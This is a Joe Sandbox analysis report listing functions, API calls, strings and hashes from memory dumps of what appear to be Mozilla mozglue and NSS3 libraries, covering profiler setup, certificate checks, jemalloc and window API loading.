Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA356E8
GetCurrentThreadId.KERNEL32 ref: 6CA35707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA3570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA35729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA3574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA3576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA35796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA357B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA357CA

Strings

[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA35BBE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA357C5
MOZ_PROFILER_STARTUP, xrefs: 6CA355E1
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA3548D
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA356E3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA35749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA35AC9
GeckoMain, xrefs: 6CA35554, 6CA355D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA3584E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA35D01
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA35766
MOZ_BASE_PROFILER_HELP, xrefs: 6CA35511
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA354A3
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA35D24
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA354B9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA35717
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA35724
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA357AE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA35D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA35B38
[I %d/%d] profiler_init, xrefs: 6CA3564E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA35791
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA35D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA35C56
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA35CF9

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 166ce55bda5e59b44716e3506f85de46ff7660013ed5f7bcf72e0e0d3075e5bf
Instruction ID: bc22ad7827411925343420f06c362559ff171322819341eb4ecb26717e47d087
Opcode Fuzzy Hash: 166ce55bda5e59b44716e3506f85de46ff7660013ed5f7bcf72e0e0d3075e5bf
Instruction Fuzzy Hash: 97222774A043129FE7049FB9D92825E77F5BF4634CF089A29E94AC7A41E731C4CACB52

Function 6CA36C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA36CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA36D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA36D26

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA36D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA36D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA36D73
free.MOZGLUE(00000000), ref: 6CA36D80
CertGetNameStringW.CRYPT32 ref: 6CA36DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA36DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA36DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA36DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA36E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA36E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA36E34
CreateFileW.KERNEL32 ref: 6CA36EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA36F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA36F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA3709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA37103
free.MOZGLUE(00000000), ref: 6CA37153
CloseHandle.KERNEL32(?), ref: 6CA37176
__Init_thread_footer.LIBCMT ref: 6CA37209
__Init_thread_footer.LIBCMT ref: 6CA3723A
__Init_thread_footer.LIBCMT ref: 6CA3726B
__Init_thread_footer.LIBCMT ref: 6CA3729C
__Init_thread_footer.LIBCMT ref: 6CA372DC
__Init_thread_footer.LIBCMT ref: 6CA3730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA373C2
VerSetConditionMask.NTDLL ref: 6CA373F3
VerSetConditionMask.NTDLL ref: 6CA373FF
VerSetConditionMask.NTDLL ref: 6CA37406
VerSetConditionMask.NTDLL ref: 6CA3740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA3741A
moz_xmalloc.MOZGLUE(?), ref: 6CA3755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA37568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA37585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA37598
free.MOZGLUE(00000000), ref: 6CA375AC

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

Strings

(, xrefs: 6CA3768A
SHA256, xrefs: 6CA36EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CA372C8
wintrust.dll, xrefs: 6CA372CD

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 2c58cd9b9a0a633ad406248a2a3f089a9cffdaed92cd36a8a16cec62e4d07689
Instruction ID: 696b2e15739ea8e0d9009db5a94021f19421a679501f90f581b1a3717769ee1f
Opcode Fuzzy Hash: 2c58cd9b9a0a633ad406248a2a3f089a9cffdaed92cd36a8a16cec62e4d07689
Instruction Fuzzy Hash: 3052E471A00326DBEB299F64CD94BAA77B8FB49704F149199E40DD7640DB30AEC5CFA0

Function 6CA60DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA60F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA60F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA60FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA60FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA61031
LeaveCriticalSection.KERNEL32(?), ref: 6CA610D0
EnterCriticalSection.KERNEL32(?), ref: 6CA6117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA61C39
EnterCriticalSection.KERNEL32(6CAAE744), ref: 6CA63391
LeaveCriticalSection.KERNEL32(6CAAE744), ref: 6CA633CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA63431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA63437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA63793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA637BD
Compile-time page size does not divide the runtime one., xrefs: 6CA63946
<jemalloc>, xrefs: 6CA63941, 6CA639F1
MALLOC_OPTIONS, xrefs: 6CA635FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA63559, 6CA6382D, 6CA63848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA637D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA63A02
MOZ_CRASH(), xrefs: 6CA63950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA637A8

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 899a21f3cc7e94ed213202c88b05d7517989e2bfe7968bbd0851236a9071b052
Instruction ID: e819cfa793313d76c18461a989eb8c5b9286216fa3e624d9778d86d96b998087
Opcode Fuzzy Hash: 899a21f3cc7e94ed213202c88b05d7517989e2bfe7968bbd0851236a9071b052
Instruction Fuzzy Hash: 88538F71A057028FD304CF2AC544615FBE1BF85328F29C76DE9A99BB91D771E882CB81

Function 6CA855F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CA5E1A5), ref: 6CA85606
LoadLibraryW.KERNEL32(gdi32,?,6CA5E1A5), ref: 6CA8560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CA85633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CA8563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CA8566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CA8567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CA85696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CA856B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CA856CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CA856E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CA856FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CA85716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CA8572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CA85748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CA85761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CA8577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CA85793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CA857A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CA857BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CA857D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CA857EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CA857FF

Strings

EnableNonClientDpiScaling, xrefs: 6CA85666
gdi32, xrefs: 6CA8560A
MonitorFromWindow, xrefs: 6CA8578D
SetWindowLongPtrW, xrefs: 6CA857B7
FillRect, xrefs: 6CA85729
DeleteObject, xrefs: 6CA857F9
LoadCursorW, xrefs: 6CA85774
LoadIconW, xrefs: 6CA8575B
GetThreadDpiAwarenessContext, xrefs: 6CA8562D
AreDpiAwarenessContextsEqual, xrefs: 6CA85637
GetMonitorInfoW, xrefs: 6CA857A2
ShowWindow, xrefs: 6CA856DE
ReleaseDC, xrefs: 6CA85742
GetWindowDC, xrefs: 6CA85710
RegisterClassW, xrefs: 6CA856AC
GetDpiForWindow, xrefs: 6CA85690
CreateWindowExW, xrefs: 6CA856C5
GetSystemMetricsForDpi, xrefs: 6CA85677
StretchDIBits, xrefs: 6CA857CC
CreateSolidBrush, xrefs: 6CA857E4
user32, xrefs: 6CA85601
SetWindowPos, xrefs: 6CA856F7

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: eafb3b9ebfe6e9e68e5c8f3363297251af8575305d7e52b5249497179c3a1341
Instruction ID: ebd233cee4435d5c3b8398e65addb08143cfaa9cdcc6d3083b2d2d5fea78df6a
Opcode Fuzzy Hash: eafb3b9ebfe6e9e68e5c8f3363297251af8575305d7e52b5249497179c3a1341
Instruction Fuzzy Hash: D6517970B12307AFEB185FB5AD5892E7AF87B06245714C52ABD52D2A41FB70C8429F70

Function 6CA834A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA835BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA835E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA836CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA838BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA839EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83EE2

Part of subcall function 6CA86180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CA861DD
Part of subcall function 6CA86180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CA8622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA840F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA84157

Part of subcall function 6CA86180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA86250
Part of subcall function 6CA86180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA86292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA84448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA8484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA84863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA84878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA84896
free.MOZGLUE ref: 6CA8489F

Strings

, xrefs: 6CA84CD2

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: cdb3231efbbbb5a8ed9a88a38e3729609b79992a28299683e2b2b4ae6c46b943
Instruction ID: c58c7b395ad98e841ecdf87269e8932af2e71992d97879b0c86598072b0b3aa6
Opcode Fuzzy Hash: cdb3231efbbbb5a8ed9a88a38e3729609b79992a28299683e2b2b4ae6c46b943
Instruction Fuzzy Hash: 0CF26874909B81CFC325CF28C19469AFBF1FF8A308F158A5ED98997711DB319896CB42

Function 6CB66D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140(?,6CC6A8EC,0000006C), ref: 6CB66DC6
memcpy.VCRUNTIME140(?,6CC6A958,0000006C), ref: 6CB66DDB
memcpy.VCRUNTIME140(?,6CC6A9C4,00000078), ref: 6CB66DF1
memcpy.VCRUNTIME140(?,6CC6AA3C,0000006C), ref: 6CB66E06
memcpy.VCRUNTIME140(?,6CC6AAA8,00000060), ref: 6CB66E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB66E38

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CB66E76
TlsGetValue.KERNEL32 ref: 6CB6726F
EnterCriticalSection.KERNEL32(?), ref: 6CB67283

Strings

!, xrefs: 6CB67123

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 6ca16e3a249ec9b3355ad1eca465939e094bb08f224d3a349cd26ce93988cef2
Instruction ID: 34b57248f9ac211fd6aa46a03ba21adfb33c2b578d8a590af0cd81c33aeabf03
Opcode Fuzzy Hash: 6ca16e3a249ec9b3355ad1eca465939e094bb08f224d3a349cd26ce93988cef2
Instruction Fuzzy Hash: FE729DB5D052589FDF20CF29CC8879ABBB4EF49304F1441A9D80DA7B41EB71AA85CF91

Function 6CA364C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA364DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA364F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA36505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA36518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA3652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA3671C
GetCurrentProcess.KERNEL32 ref: 6CA36724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA3672F
GetCurrentProcess.KERNEL32 ref: 6CA36759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA36764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA36A80
GetSystemInfo.KERNEL32(?), ref: 6CA36ABE
__Init_thread_footer.LIBCMT ref: 6CA36AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA36AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA36AF7

Strings

nvd3d9wrap.dll, xrefs: 6CA36500
nvdxgiwrap.dll, xrefs: 6CA36513
user32.dll, xrefs: 6CA36526
detoured.dll, xrefs: 6CA364DA
_etoured.dll, xrefs: 6CA364ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA36798

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: a57c0f3ad2d38e80b2523eb16cf65ca6360c11688b3771f478b889586c260ee0
Instruction ID: 073798cbbde4755daf11820582eae2ad8a864b27f09faab5ea704f0c320e34f8
Opcode Fuzzy Hash: a57c0f3ad2d38e80b2523eb16cf65ca6360c11688b3771f478b889586c260ee0
Instruction Fuzzy Hash: F8F1E17090122A9FDB20CF64DD58B9AB7B4BF06308F189299E80DE7741D731AAC5CF90

Function 6CBAAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBAACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CBAACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CBAACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CBAAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CBAADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBAADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBAADF0

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBAB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBAB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBAB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBAB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CBAB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBAB3C1
